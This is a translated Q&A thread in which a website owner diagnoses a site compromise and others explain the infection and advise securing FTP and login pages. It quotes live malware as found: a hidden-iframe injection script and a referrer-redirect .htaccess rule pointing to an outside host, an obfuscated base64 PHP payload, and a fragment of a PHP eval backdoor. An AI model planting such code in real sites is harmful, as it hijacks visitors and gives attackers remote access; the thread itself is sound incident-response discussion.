每当在http://www.btandthetenants.com的网站上点击链接时,我都会收到AJAX请求以自动加载内容。但是,最近,我一直看到这些令人困惑的代码注入到我的返回数据中:
<script>
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://cabaniaseleden.com.ar/stats.php');
_q.style.position = 'absolute';
_q.style.width = '12px';
_q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7f08d1087e22') + 1);
_q.style.left = '-4327px';
document.write('<div id=\'pzeadv\'></div>');
document.getElementById('pzeadv').appendChild(_q);
</script>
这是我目前点击的代码:
$("#nav a").click(function(event) {
var sHREF = $(this).attr("href");
var sPage = sHREF.replace(oVars.sPrefix(), "");
if (oVars.sCurrent != sPage) {
// As long as we're not currently on the page we just clicked on...
//oVars.sCurrent = sPage;
if (oVars.oArchive.isOpen()) oVars.oArchive.toggle();
loadContent(sHREF, true, false);
track(sPage);
}
event.preventDefault();
});
...和loadContent
函数:
function loadContent(sURL, bPush, bReplace) {
var $Box = $("#loaded .box-1"),
$Content = $Box.find(".inner");
$("#nav a").removeClass("active");
$("#nav a[href='"+ sURL +"']").addClass("active");
oVars.sCurrent = sURL.split("&")[0];
// Closes any picture open in Colorbox.
if ( oVars.sCurrent != "pictures" && oVars.bI && $("#colorbox").css("display") != "none" )
$.colorbox.close();
if (!oVars.bIE) {
if (bPush) {
var objState = { page: oVars.sCurrent };
if (bReplace)
history.replaceState(objState, "", "");
else
history.pushState(objState, "", sURL);
} else {}
}
if (!bReplace) {
// Load the page.
$Box.slideUp(oVars.iSpeed / 2, "", function() {
$.get(
"index.php" + oVars.sPrefix() + sURL,
oVars.oNHF,
function(sData) {
var $El = $(sData).filter(":first"), // This is the element that would be displayed
$Script = $(sData).filter(":last"),
sPage = extractPage("ending").toLowerCase();
console.debug(sData);
// Change documentElement to body and circumvent the issues caused by the iPhone version... yadda yadda.
document.documentElement.className = sPage;
// Try and make it a regular expression to replace the words after the separator.
document.title = oPHP.const.NAME + oPHP.const.TEXT_DIVIDER + ( (sPage == "home") ? "Home" : oPHP.vars.titles[sPage].replace(/\<.*\>/, "").trim() );//ucwords(sPage);
$Box.html(sData).slideDown(oVars.iSpeed / 2);
// Reload the Facebook widgets for the current page.
reloadWidgets();
}
);
} );
}
}
sData
中的{p> loadContent
正在返回那个神秘的<script>
标记,如下所示:
<script>
// THIS IS THE EVIL SNIPPET THAT'S BEING INSERTED INTO MY CODE.
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://cabaniaseleden.com.ar/stats.php');
_q.style.position = 'absolute';
_q.style.width = '12px';
_q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7f08d1087e22') + 1);
_q.style.left = '-4327px';
document.write('<div id=\'pzeadv\'></div>');
document.getElementById('pzeadv').appendChild(_q);
</script>
<div class="box-1" id="pictures">
<div class="title">
Pictures <span class="links"><a class="fblink" href="http://www.facebook.com/elemovements?sk=photos" target="_blank" title="Visit this Page on Facebook">View on Facebook</a></span>
</div>
<div class="body">
<div class="inner transition">
<div>
<div class="section-title">
Albums
</div>
<span class="gray italic size">(4 albums, 13 pictures)</span>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=332120860192434&id=156848747719647&aid=77394" href="pictures&action=list_pics&aid=156848747719647_77394&size=1&name=Wall Photos" title="">
<div class="album">
<img src="http://photos-a.ak.fbcdn.net/hphotos-ak-ash3/527637_332120863525767_1834367592_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=332120860192434&id=156848747719647&aid=77394" href="pictures&action=list_pics&aid=156848747719647_77394&size=1&name=Wall Photos" title="">Wall Photos</a>
</div>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=171845276219994&id=156848747719647&aid=44093" href="pictures&action=list_pics&aid=156848747719647_44093&size=2&name=Posters" title="">
<div class="album">
<img src="http://photos-b.ak.fbcdn.net/hphotos-ak-ash4/427627_278221322249055_1137145612_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=171845276219994&id=156848747719647&aid=44093" href="pictures&action=list_pics&aid=156848747719647_44093&size=2&name=Posters" title="">Posters</a>
</div>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=261713630566491&id=156848747719647&aid=63000" href="pictures&action=list_pics&aid=156848747719647_63000&size=4&name=Newby's Show" title="The guys' show on 1/29/2012 at Newby's. Taken in Memphis, TN.">
<div class="album">
<img src="http://photos-f.ak.fbcdn.net/hphotos-ak-ash4/407659_261713673899820_1183906213_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=261713630566491&id=156848747719647&aid=63000" href="pictures&action=list_pics&aid=156848747719647_63000&size=4&name=Newby's Show" title="The guys' show on 1/29/2012 at Newby's. Taken in Memphis, TN.">Newby's Show</a>
</div>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=232326246838563&id=156848747719647&aid=56722" href="pictures&action=list_pics&aid=156848747719647_56722&size=6&name=Oxford Show" title="Taken in Oxford, MS.">
<div class="album">
<img src="http://photos-d.ak.fbcdn.net/hphotos-ak-ash4/390726_232326290171892_2122883596_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=232326246838563&id=156848747719647&aid=56722" href="pictures&action=list_pics&aid=156848747719647_56722&size=6&name=Oxford Show" title="Taken in Oxford, MS.">Oxford Show</a>
</div>
</div>
<script id="logic" language="javascript" src="min/?f=/js/logic/pictures.js" type="text/javascript"></script>
</div>
</div>
</div>
我的数据在脚本标记之后,并且在我的代码中没有。您可以随时在某种控制台中自行检查。
答案 0 :(得分:1)
这是因为修改了我服务器上的.htaccess
文件。我有一份本地副本,所以我把它覆盖了。文件的内容变为:
#c3284d#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://cabaniaseleden.com.ar/stats.php [R=301,L]
</IfModule>
#/c3284d#
RewriteEngine on
RewriteCond %{HTTP_HOST} ^ts\.x10\.mx$ [OR]
RewriteCond %{HTTP_HOST} ^www\.ts\.x10\.mx$
RewriteRule ^/?$ "http\:\/\/75\.66\.61\.141\/" [R=301,L]
黑客还将其添加到我网站上的几个PHP文件中:
#c3284d#
echo(gzinflate(base64_decode("VVHBboMwDL1X4h9yC2hdKDCVbqOVummHnfYB64RCYkokmqSJS9t9/YChavPN9nt+9nPhhVMWN8Gs446UR7Im0ojTATQy4YAjvLUwZCFVteMHoNE8mJE+St1jqQfcIjpVnRDoczArj5+l/gqpd4LOCW0Q7VMcC15xrbiHFiRoJsyBcRd75OiZbSyNRibzeG2BWeMVKjOO55U37W30BDgric3QTVJ7+Ss6LlgZJ8H14pp3as/ROHby4Lb74SSlJVw+6pBmjyLL0uWiXsp8mSeQSg55vVjJZLHKIU1pRO5I8m+vFmocVO8fsjT/Fb5ZdXYKIaSFVB1Rcr2j9hu47HZ0U8R9bTNeeEPvASdXX67vMpzANGLcWtDytVGtDMvjwCni6UE/")));
#/c3284d#
我们需要打击像这样的互联网入侵,试图阻止这样的事情发生。它基本上都在我访问的每台服务器上。我不知道它是怎么到达那里的;得检查日志。
答案 1 :(得分:0)
是的,我同意。另外......请检查根目录中的额外文件。它可以命名为c.php,default.php等...它有一个PHP代码开始:
if($_GET["rnd"]){die($_GET["rnd"]);}elseif($_POST["e"]){eval(base64_decode(str_rot13......
您也可以进行网站搜索。当上面的.htaccess代码被更改时,同时添加了该文件。
我试图追踪的不是来源,而是上传的方式,它看起来是通过FTP完成的。保护您的FTP,如果您运行WordPress或Joomla,请保护您的登录页面免受暴力/彩虹攻击,这在用户名已知时非常简单(列在帖子下)任何人都有更多详细信息?